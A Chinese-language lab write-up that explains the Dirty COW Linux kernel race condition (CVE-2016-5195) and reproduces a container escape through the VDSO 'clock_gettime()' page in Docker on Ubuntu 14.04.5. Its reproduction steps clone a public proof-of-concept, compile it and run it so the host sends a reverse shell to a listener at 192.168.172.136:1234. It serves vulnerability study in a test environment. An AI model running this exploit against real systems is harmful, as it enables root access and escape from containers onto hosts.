脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
一、漏洞描述
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。
二、漏洞利用条件
docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。
这里,我们使用ubuntu-14.04.5来复现。
Ubuntu系统镜像下载:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso
内核版本(共享内核):
宿主机:
bypass@ubuntu-docker:/$ uname -a Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
容器:
root@59b203abf9d1:/# uname -r
4.4.0-31-generic
root@59b203abf9d1:/#
root@59b203abf9d1:/# cat /etc/issue
Ubuntu 20.04 LTS \n \l
三、漏洞测试复现
1、测试环境下载
git clone https://github.com/gebl/dirtycow-docker-vdso.git
2、运行测试容器
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
3、进入容器,编译POC并执行
cd /dirtycow-vdso/ make ./0xdeadbeef 192.168.172.136:1234
4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。
参考文章:
https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile